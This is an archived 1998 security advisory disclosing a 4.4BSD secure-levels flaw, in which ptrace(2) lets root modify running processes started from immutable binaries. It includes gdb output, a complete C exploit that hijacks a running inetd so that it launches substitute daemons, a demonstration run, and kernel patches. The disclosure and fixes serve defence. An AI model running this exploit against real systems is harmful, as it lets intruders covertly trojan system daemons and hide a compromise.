Vulnerability in 4.4BSD Secure Levels Implementation

From: Niall Smart (njs3at_private)
Date: Wed Jun 10 1998 - 14:50:35 PDT

  • Next message: p__boyerat_private: "Cheyenne Inoculan vulnerability on NT"

            Vulnerability in 4.4BSD Secure Levels Implementation
    
    
    Synopsis
    ========
    
    4.4BSD introduced the concept of "secure levels" which are intended to
    allow the system administrator to protect the kernel and system files from
    modification by intruders.  When the system is running in secure mode file
    flags can be used to indicate that anyone, even the superuser, should
    be prevented from deleting or modifying the file, or that write access
    should be restricted to append-only.  In addition device files such as
    /dev/kmem and those for disk devices are only available for read access.
    
    This protection is not intended to prevent system compromise, but
    instead is a damage limitation measure -- by preventing intruders who
    have compromised the root account from deleting logs of the intrusion
    or planting "trojan horses" their ability to hide their presence on the
    system or covertly gather sensitive information is reduced.
    
    We have discovered a vulnerability in all current implementations of
    secure levels which allow an intruder to modify the memory image of
    running processes, thereby bypassing the protection applied to system
    binaries and their configuration files.  The vulnerability cannot be
    exploited to modify the init process, kernel memory or the protected
    files themselves.
    
    
    Details
    =======
    
    The ptrace(2) system call can be used to modify the memory image of
    another process.  It is typically used by debuggers and other similar
    utilities.  Due to inadequate checking, it is possible to use ptrace(2)
    to modify the memory image of processes which have been loaded from a
    file which has the immutable flags set.  As mentioned,  this does not
    apply to the init process.
    
    This vulnerability is significant in that it allows an intruder to
    covertly modify running processes.  The correct behaviour is to make
    the address space of these processes immutable.  Although an intruder
    can still kill them and start others in their place, the death of system
    daemons will (should) draw attention on secure systems.
    
    An example exploit and patches are appended.
    
    
    Niall Smart, njs3at_private
    cstone, abcat_private
    
    
    
    Exploit
    =======
    
    There are a variety of daemons which an intruder would wish to trojan,
    inetd being one of the most obvious.  Once the intruder controls inetd,
    any network logins handled by daemons started by inetd are completely
    under the control of the intruder.  Other important daemons which are
    likely to be attacked include sshd, crond, syslogd, and getty.
    
    Here we present sample code which shows how to use ptrace(2) to attach to
    and control a running inetd and so that it starts daemons which we choose
    instead of those specified in inetd.conf.  For the sake of explanation
    we will use the FreeBSD version of inetd compiled with debugging symbols.
    
    If you look at the inetd source you will see that it uses an array of
    struct servtab which represents the services specified in inetd.conf.
    The se_server member of struct servtab specifies the path to the server
    which handles requests for the service.  When inetd accepts a new
    connection it searches this array for the appropriate entry, stores a
    pointer to the entry in the variable sep and then forks, the child then
    fiddles with file descriptors and execs the server.
    
    The fork happens on line 490 of inetd.c, we insert a breakpoint at this
    instruction and when we hit it modify the se_server member of the struct
    servtab which sep points to.  We then insert another breakpoint later
    in the code which only the parent process will execute and continue,
    when we hit that breakpoint we change the se_server back to what it was.
    Meanwhile, the child process continues and executes whatever server we
    have told it to.
    
    # gdb --quiet ./inetd
    (gdb) list 489,491
    489                                 }
    490                                 pid = fork();
    491                         }
    (gdb) break 490
    Breakpoint 2 at 0x1f76: file inetd.c, line 490.
    (gdb) p &sep
    Address requested for identifier "sep" which is in a register.
    (gdb) p sep
    $1 = (struct servtab *) 0x1
    (gdb) info reg
    eax            0x0      0
    ecx            0xefbfda50       -272639408
    edx            0x2008bf48       537444168
    ebx            0xefbfda90       -272639344
    esp            0xefbfd968       0xefbfd968
    ebp            0xefbfda68       0xefbfda68
    esi            0x1      1
    edi            0x0      0
    eip            0x1914   0x1914
    eflags         0x246    582
    cs             0x1f     31
    ss             0x27     39
    ds             0x27     39
    es             0x27     39
    (gdb)
    
    So, the first breakpoint address is at 0x1F76, and the sep variable
    has been placed in the register %esi which makes writing the exploit
    a bit easier.  After the fork we want to stop the parent process only,
    inserting a breakpoint at line 502 will achieve that:
    
    (gdb) list 501,503
    501                         if (pid)
    502                             addchild(sep, pid);
    503                         sigsetmask(0L);
    (gdb) break 502
    Breakpoint 1 at 0x1fc8: file inetd.c, line 502.
    
    Line 502 corresponds to the instruction at 0x1FC8.  Finally, we will need
    some unused memory to write in the string for our replacement daemon,  for
    this we can simply overwrite the code that performs the option processing:
    
    (gdb) break 325
    Breakpoint 2 at 0x1a9a: file inetd.c, line 325.
    
    We take 64 bytes from 0x1A9A.  Here is the exploit, the first three
    arguments specify the first and second breakpoints and the address of
    the spare memory and the last is the pid of the inetd to attach to.
    
    [ Note to script kiddies: you need root on the system first ]
    
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/ptrace.h>
    #include <machine/reg.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <signal.h>
    #include <errno.h>
    #include <unistd.h>
    
    #if defined(__FreeBSD__)
    #define SE_SERVER_OFF 44
    #elsif defined(__OpenBSD__)
    #define SE_SERVER_OFF 48
    #endif
    
    #define INSN_TRAP       0xCC
    
    #define ARRSIZE(x)      (sizeof(x) / sizeof((x)[0]))
    
    #define Ptrace(req, pid, addr, data) _Ptrace(req, #req, pid, (caddr_t) addr, data)
    
    void sig_handler(int unused);
    
    sig_atomic_t    finish = 0;
    int             pid;
    
    
    int _Ptrace(int req, const char* reqname, pid_t pid, caddr_t addr, int data)
    {
            int     ret = ptrace(req, pid, addr, data);
    
            if (ret < 0 && errno != 0) {
                    fprintf(stderr, "ptrace %s: %s\n", reqname, strerror(errno));
                    exit(EXIT_FAILURE);
            }
    
            /* this shouldn't be necessary */
    
            #ifdef __FreeBSD__
            if (req == PT_DETACH)
                    kill(pid, SIGCONT);
            #endif
    
            return ret;
    }
    
    
    void
    sig_handler(int unused)
    {
            /* we send the child a hopelessly harmful signal to break outselves
             * out of ptrace */
    
            finish = 1;
            kill(pid, SIGINFO);
    }
    
    
    struct replace {
            char*   old;
            char*   new;
    };
    
    
    int
    main(int argc, char** argv)
    {
            struct reg      regs;
            int             insn;
            int             svinsn;
            caddr_t         breakaddr;
            caddr_t         oldaddr;
            caddr_t         spareaddr;
            caddr_t         addr;
            caddr_t         nextaddr;
            caddr_t         contaddr;
            char            buf[64];
            char*           ptr;
            struct replace* rep;
            struct replace  replace[] = { { "/bin/cat",   "/bin/echo" } };
    
            if (argc != 5) {
                    fprintf(stderr, "usage: %s <breakaddr> <nextaddr> <spareaddr> <pid>\n", argv[0]);
                    exit(EXIT_FAILURE);
            }
    
            breakaddr = (caddr_t) strtoul(argv[1], 0, 0);
            nextaddr = (caddr_t) strtoul(argv[2], 0, 0);
            spareaddr = (caddr_t) strtoul(argv[3], 0, 0);
            pid = atoi(argv[4]);
    
            signal(SIGINT, sig_handler);
            signal(SIGTERM, sig_handler);
            signal(SIGQUIT, sig_handler);
    
            /*
             * attach her up
             */
            Ptrace(PT_ATTACH, pid, 0, 0);
            wait(0);
    
            Ptrace(PT_GETREGS, pid, &regs, 0);
    
            printf("%%esp = %#x\n", regs.r_esp);
            printf("%%ebp = %#x\n", regs.r_ebp);
            printf("%%eip = %#x\n", regs.r_eip);
    
            contaddr = (caddr_t) 1;
    
            while (1) {
    
                    /*
                     * replace the lowest byte of the dw at the specified address
                     * with a breakpoint insn
                     */
                    svinsn = Ptrace(PT_READ_D, pid, breakaddr, 0);
                    insn = (svinsn & ~0xFF) | INSN_TRAP;
                    Ptrace(PT_WRITE_D, pid, breakaddr, insn);
    
                    printf("%x ==> %x @ %#x\n", svinsn, insn, (int) breakaddr);
    
                    /* continue till we hit the breakpoint */
    
                    Ptrace(PT_CONTINUE, pid, contaddr, 0);
    
                    do {
                            /* FreeBSD reports signals twice, it shouldn't do that */
    
                            int             sig;
                            int             status;
    
                            wait(&status);
    
                            sig = WSTOPSIG(status);
    
                            printf("process received signal %d (%s)\n", sig, sys_siglist[sig]);
    
                            if (finish)
                                    goto detach;
    
                            if (sig == SIGTRAP)
                                    break;
    
                            Ptrace(PT_CONTINUE, pid, 1, WSTOPSIG(status));
    
                    } while(1);
    
                    Ptrace(PT_GETREGS, pid, &regs, 0);
                    printf("hit breakpoint at %#x\n", (int) regs.r_eip - 1);
    
                    /* copy out the pathname of the daemon it's trying to run */
    
                    oldaddr = (caddr_t) Ptrace(PT_READ_D, pid, regs.r_esi + SE_SERVER_OFF, 0);
    
                    for (ptr = buf, addr = oldaddr; ptr < &buf[ARRSIZE(buf)]; ptr += 4, addr += 4)
                            *(int*)ptr = Ptrace(PT_READ_D, pid, addr, 0);
    
                    printf("daemon path ==> %s @ %#x\n", buf, (int)oldaddr);
    
                    /* check if we want to substitute our own */
    
                    for (rep = replace; rep < &replace[ARRSIZE(replace)] || (rep = 0); rep++)
                            if (!strcmp(rep->old, buf)) {
                                    printf("%s ==> %s\n", rep->old, rep->new);
                                    break;
                            }
    
                    /* copy the substitute pathname to some unused location */
    
                    if (rep != 0) {
                            strcpy(buf, rep->new);
                            for (ptr = buf, addr = spareaddr; ptr < &buf[sizeof(buf)]; ptr += 4, addr += 4)
                                    Ptrace(PT_WRITE_D, pid, addr, *(int*)ptr);
    
                            Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) spareaddr);
                    }
    
                    /*
                     * replace the original instruction, set a breakpoint on the next
                     * instruction we want to break in and then reset the daemon path,
                     * and remove the last breakpoint.  We could just single step over
                     * the for syscall but all the crap involved in calling a fn in a
                     * dll makes it easier to just to set a breakpoint on the next
                     * instruction and wait till we hit that
                     */
    
                    Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
    
                    svinsn = Ptrace(PT_READ_D, pid, nextaddr, 0);
                    insn = (svinsn & ~0xFF) | INSN_TRAP;
                    Ptrace(PT_WRITE_D, pid, nextaddr, insn);
    
                    Ptrace(PT_CONTINUE, pid, breakaddr, 0);
                    wait(0);
    
                    Ptrace(PT_GETREGS, pid, &regs, 0);
                    printf("stepped instruction to %#x\n", regs.r_eip);
    
                    Ptrace(PT_WRITE_D, pid, nextaddr, svinsn);
                    contaddr = nextaddr;
    
                    /* put back the original path */
                    if (rep != 0)
                            Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) oldaddr);
    
            }
    
    detach:
            printf("detaching\n");
            Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
            Ptrace(PT_DETACH, pid, 1, 0);
    
            return 0;
    }
    
    
    So, lets try it out:
    
    # cat inetd.conf
    afs3-fileserver stream  tcp     nowait  root   /bin/cat cat /root/inetd.conf
    # telnet localhost 7000
    Trying 127.0.0.1...
    Connected to localhost
    Escape character is '^]'.
    afs3-fileserver stream  tcp     nowait  root   /bin/cat cat /root/inetd.conf
    Connection closed by foreign host.
    # ps -aux | grep inetd
    root    1233  0.0  0.9   204  556  ??  SXs  11:41AM    0:00.02 ./inetd /root/inetd.conf
    # ./ptrace 0x1F76 0x1FC8 0x1A9A 1233 >/dev/null 2>&1 &
    [1] 1267
    # telnet localhost 7000
    Trying 127.0.0.1...
    Connected to localhost
    Escape character is '^]'.
    /root/inetd.conf
    Connection closed by foreign host.
    #
    
    
    Affected
    ========
    
    BSD/OS, FreeBSD, NetBSD, OpenBSD.
    
    
    Patches
    =======
    
    OpenBSD patched this problem yesterday.  The following patches apply to
    FreeBSD-current and will apply to FreeBSD-stable with some tweaking of
    the line numbers.
    
    --- kern/sys_process.c  Mon Jun  8 11:47:03 1998
    +++ kern/sys_process.c  Mon Jun  8 11:49:53 1998
    @@ -37,6 +37,7 @@
     #include <sys/proc.h>
     #include <sys/vnode.h>
     #include <sys/ptrace.h>
    +#include <sys/stat.h>
    
     #include <machine/reg.h>
     #include <vm/vm.h>
    @@ -208,6 +209,7 @@
            struct proc *p;
            struct iovec iov;
            struct uio uio;
    +       struct vattr va;
            int error = 0;
            int write;
            int s;
    @@ -246,6 +248,11 @@
                    /* can't trace init when securelevel > 0 */
                    if (securelevel > 0 && p->p_pid == 1)
                            return EPERM;
    +
    +               if((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
    +                       return(error);
    +               if(va.va_flags & (IMMUTABLE|NOUNLINK))
    +                       return(EPERM);
    
                    /* OK */
                    break;
    
    --- kern/kern_exec.c    Sun Jun  7 17:23:14 1998
    +++ kern/kern_exec.c    Tue Jun  9 14:08:10 1998
    @@ -655,6 +655,8 @@
            error = VOP_GETATTR(vp, attr, p->p_ucred, p);
            if (error)
                    return (error);
    +       if((p->p_flag & P_TRACED) && (attr.va_flags & (IMMUTABLE|NOUNLINK)))
    +               return (EACCES);
    
            /*
             * 1) Check if file execution is disabled for the filesystem that this
    --- miscfs/procfs/procfs_vnops.c        Tue May 19 09:15:00 1998
    +++ miscfs/procfs/procfs_vnops.c        Wed Jun 10 16:23:33 1998
    @@ -129,6 +129,8 @@
     {
            struct pfsnode *pfs = VTOPFS(ap->a_vp);
            struct proc *p1, *p2;
    +       int error;
    +       struct vattr va;
    
            p2 = PFIND(pfs->pfs_pid);
            if (p2 == NULL)
    @@ -144,6 +146,12 @@
                    if (!CHECKIO(p1, p2) &&
                        !procfs_kmemaccess(p1))
                            return (EPERM);
    +
    +               error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
    +               if(error)
    +                       return(error);
    +               if(va.va_flags & IMMUTABLE)
    +                       return(EPERM);
    
                    if (ap->a_mode & FWRITE)
                            pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:57:20 PDT